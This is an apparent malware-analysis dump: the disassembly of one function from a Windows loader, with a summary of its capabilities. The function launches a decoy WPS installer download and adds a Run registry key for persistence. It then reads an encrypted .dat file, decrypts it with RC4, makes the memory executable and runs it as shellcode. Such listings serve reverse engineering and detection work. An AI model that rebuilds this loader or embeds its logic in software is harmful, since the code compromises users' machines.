Function at 0x100011b0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Execute shellcode via indirect call
Get file size
Persist via run registry key
Query environment variable
Read file on windows
Set registry value
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100131a1
mov eax, dword fs:[0]
push eax
sub esp, 0x4a8
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0
push 0
push 0x10019920
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x10001200
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_ExitProcess]
lea eax, [ebp - 0x4a8]
mov dword [ebp - 0x454], 0
push eax
lea eax, [ebp - 0x494]
mov dword [ebp - 0x494], 0x44
push eax
push 0
push 0
push 0
push 0
push 0
xorps xmm0, xmm0
mov dword [ebp - 0x468], 1
push 0
push str.cmd__c_start_https:__official_package.wpscdn.cn_wps_download_WPS_Setup_19302.exe
push 0
movlpd qword [ebp - 0x490], xmm0
movlpd qword [ebp - 0x488], xmm0
movlpd qword [ebp - 0x480], xmm0
movlpd qword [ebp - 0x478], xmm0
movlpd qword [ebp - 0x470], xmm0
movlpd qword [ebp - 0x464], xmm0
movlpd qword [ebp - 0x45c], xmm0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
push dword [ebp - 0x4a8]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x4a4]
call esi
push 0x104
lea eax, [ebp - 0x218]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x218]
push eax
push str.__s_
lea eax, [ebp - 0x418]
push 0x200
push eax
call fcn.10001010
add esp, 0x10
lea eax, [ebp - 0x498]
push eax
push 2
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x10001327
lea ecx, [ebp - 0x418]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x100012f2
sub ecx, edx
lea eax, [ecx + 1]
push eax
lea eax, [ebp - 0x418]
push eax
push 1
push 0
push str.wwp.update
push dword [ebp - 0x498]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 0x498]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x104
lea eax, [ebp - 0x114]
push eax
push str.PUBLIC
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
xorps xmm0, xmm0
mov dword [ebp - 0x420], 0
lea esi, [ebp - 0x114]
mov dword [ebp - 0x41c], 0
movups xmmword [ebp - 0x430], xmm0
lea ecx, [esi + 1]
mov al, byte [esi]
inc esi
test al, al
jne 0x10001365
sub esi, ecx
cmp esi, 0x7fffffff
ja 0x1000189c
cmp esi, 0xf
ja 0x100013b0
push esi
lea eax, [ebp - 0x114]
mov dword [ebp - 0x420], esi
push eax
lea eax, [ebp - 0x430]
mov dword [ebp - 0x41c], 0xf
push eax
call fcn.10004800
mov byte [ebp + esi - 0x430], 0
jmp 0x10001446
mov edi, esi
or edi, 0xf
cmp edi, 0x7fffffff
jbe 0x100013e8
mov ecx, 0x80000000
mov edi, 0x7fffffff
add ecx, 0x23
push ecx
call fcn.10001d44
mov ecx, eax
add esp, 4
test ecx, ecx
je 0x100018a6
lea eax, [ecx + 0x23]
and eax, 0xffffffe0
mov dword [eax - 4], ecx
jmp 0x10001416
mov eax, 0x16
cmp edi, eax
cmovb edi, eax
lea eax, [edi + 1]
test eax, eax
je 0x10001416
cmp eax, 0x1000
jb 0x1000140d
lea ecx, [eax + 0x23]
cmp ecx, eax
jbe 0x100018a1
jmp 0x100013ca
push eax
call fcn.10001d44
add esp, 4
push esi
lea ecx, [ebp - 0x114]
mov dword [ebp - 0x498], eax
push ecx
push eax
mov dword [ebp - 0x430], eax
mov dword [ebp - 0x420], esi
mov dword [ebp - 0x41c], edi
call fcn.10004800
mov eax, dword [ebp - 0x498]
mov byte [eax + esi], 0
add esp, 0xc
mov dword [ebp - 4], 0
mov edx, dword [ebp - 0x41c]
mov eax, edx
mov ecx, dword [ebp - 0x420]
sub eax, ecx
push 0x13
cmp eax, 0x13
jb 0x1000149c
cmp edx, 0xf
lea esi, [ebp - 0x430]
lea eax, [ecx + 0x13]
cmova esi, dword [ebp - 0x430]
add esi, ecx
mov dword [ebp - 0x420], eax
push str._s49AKAVLfJ6znG.dat
push esi
call fcn.10004800
add esp, 0xc
mov byte [esi + 0x13], 0
lea eax, [ebp - 0x430]
jmp 0x100014b7
push ecx
mov byte [ebp - 0x4ac], 0
lea ecx, [ebp - 0x430]
push dword [ebp - 0x4ac]
push 0x13
call fcn.10001ac0
mov dword [ebp - 0x438], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x448], xmm0
mov dword [ebp - 0x434], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x448], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x438], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 2
mov ecx, dword [ebp - 0x41c]
cmp ecx, 0xf
jbe 0x1000153b
mov edx, dword [ebp - 0x430]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10001531
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100018a6
push ecx
push edx
call fcn.10001d13
add esp, 8
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.CreateFileA
push str.kernel32.dll
mov dword [ebp - 0x420], 0
mov dword [ebp - 0x41c], 0xf
mov byte [ebp - 0x430], 0
call edi
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp dword [ebp - 0x434], 0xf
lea ecx, [ebp - 0x448]
push 0
cmova ecx, dword [ebp - 0x448]
push 0
push 3
push 0
push 1
push 0x80000000
push ecx
call eax
mov esi, eax
push 0
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [ebp - 0x4ac], eax
cmp esi, 0xffffffff
jne 0x10001600
mov ecx, dword [ebp - 0x434]
cmp ecx, 0xf
jbe 0x100015e5
mov edx, dword [ebp - 0x448]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x100015db
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10001897
push ecx
push edx
call fcn.10001d13
add esp, 8
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10001d05
mov esp, ebp
pop ebp
ret
push str.VirtualProtect
push str.kernel32.dll
call edi
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.VirtualAlloc
push str.kernel32.dll
mov dword [ebp - 0x4b4], eax
call edi
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x40
push 0x1000
push 0x100000
push 0
mov dword [ebp - 0x44c], 0x1000
call eax
mov dword [ebp - 0x4b0], eax
test eax, eax
je 0x100015ab
push 0
lea ecx, [ebp - 0x44c]
push ecx
push 0x100000
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x100015ab
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xorps xmm0, xmm0
mov dword [ebp - 0x41c], 0
movups xmmword [ebp - 0x42c], xmm0
mov dword [ebp - 0x42c], 0
mov dword [ebp - 0x428], 0
mov dword [ebp - 0x424], 0
sub esp, 8
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x42c]
call fcn.100019a0
mov esi, dword [ebp - 0x42c]
mov ecx, 8
movaps xmm1, xmmword [0x10019a10]
lea edx, [esi + 0x20]
lea eax, [ecx - 8]
movd xmm0, eax
lea edx, [edx + 0x40]
pshufd xmm0, xmm0, 0
lea eax, [ecx - 4]
paddd xmm0, xmm1
movups xmmword [edx - 0x60], xmm0
movd xmm0, eax
lea eax, [ecx + 4]
pshufd xmm0, xmm0, 0
paddd xmm0, xmm1
movups xmmword [edx - 0x50], xmm0
movd xmm0, ecx
add ecx, 0x10
pshufd xmm0, xmm0, 0
paddd xmm0, xmm1
movups xmmword [edx - 0x40], xmm0
movd xmm0, eax
lea eax, [ecx - 8]
pshufd xmm0, xmm0, 0
paddd xmm0, xmm1
movups xmmword [edx - 0x30], xmm0
cmp eax, 0x100
jl 0x100016d2
xor edi, edi
xor edx, edx
mov ecx, dword [esi + edx*4]
mov eax, edx
and eax, 7
movzx eax, byte [eax + str.fahasiki]
add edi, eax
add edi, ecx
and edi, 0x800000ff
jns 0x10001756
dec edi
or edi, 0xffffff00
inc edi
mov eax, dword [esi + edi*4]
mov dword [esi + edx*4], eax
inc edx
mov dword [esi + edi*4], ecx
cmp edx, 0x100
jl 0x10001733
xor edx, edx
mov dword [ebp - 0x420], edx
mov byte [ebp - 4], 4
mov dword [ebp - 0x498], edx
cmp dword [ebp - 0x4ac], edx
jbe 0x10001809
mov edi, dword [ebp - 0x41c]
nop dword [eax]
inc edx
and edx, 0x800000ff
jns 0x100017a1
dec edx
or edx, 0xffffff00
inc edx
mov ecx, dword [esi + edx*4]
add edi, ecx
and edi, 0x800000ff
jns 0x100017b6
dec edi
or edi, 0xffffff00
inc edi
mov eax, dword [esi + edi*4]
mov dword [esi + edx*4], eax
mov dword [esi + edi*4], ecx
mov eax, dword [esi + edx*4]
add eax, ecx
and eax, 0x800000ff
jns 0x100017d2
dec eax
or eax, 0xffffff00
inc eax
mov al, byte [esi + eax*4]
mov esi, dword [ebp - 0x498]
mov ecx, dword [ebp - 0x4b0]
xor byte [esi + ecx], al
mov eax, esi
mov esi, dword [ebp - 0x42c]
inc eax
mov dword [ebp - 0x498], eax
cmp eax, dword [ebp - 0x4ac]
jb 0x10001790
mov dword [ebp - 0x420], edx
mov dword [ebp - 0x41c], edi
jmp 0x1000180f
mov ecx, dword [ebp - 0x4b0]
lea eax, [ebp - 0x450]
push eax
push 0x40
push 0x100000
push ecx
call dword [ebp - 0x4b4]
mov eax, dword [ebp - 0x4b0]
call eax
test esi, esi
je 0x1000185f
mov ecx, dword [ebp - 0x424]
mov eax, esi
sub ecx, esi
and ecx, 0xfffffffc
cmp ecx, 0x1000
jb 0x10001855
mov esi, dword [eax - 4]
add ecx, 0x23
sub eax, esi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10001897
push ecx
push esi
call fcn.10001d13
add esp, 8
mov ecx, dword [ebp - 0x434]
cmp ecx, 0xf
jbe 0x100015e5
mov edx, dword [ebp - 0x448]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x100015db
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x100015db
call fcn.10006ce6
call fcn.100011a0
call fcn.10001100
call fcn.10006ce6
int3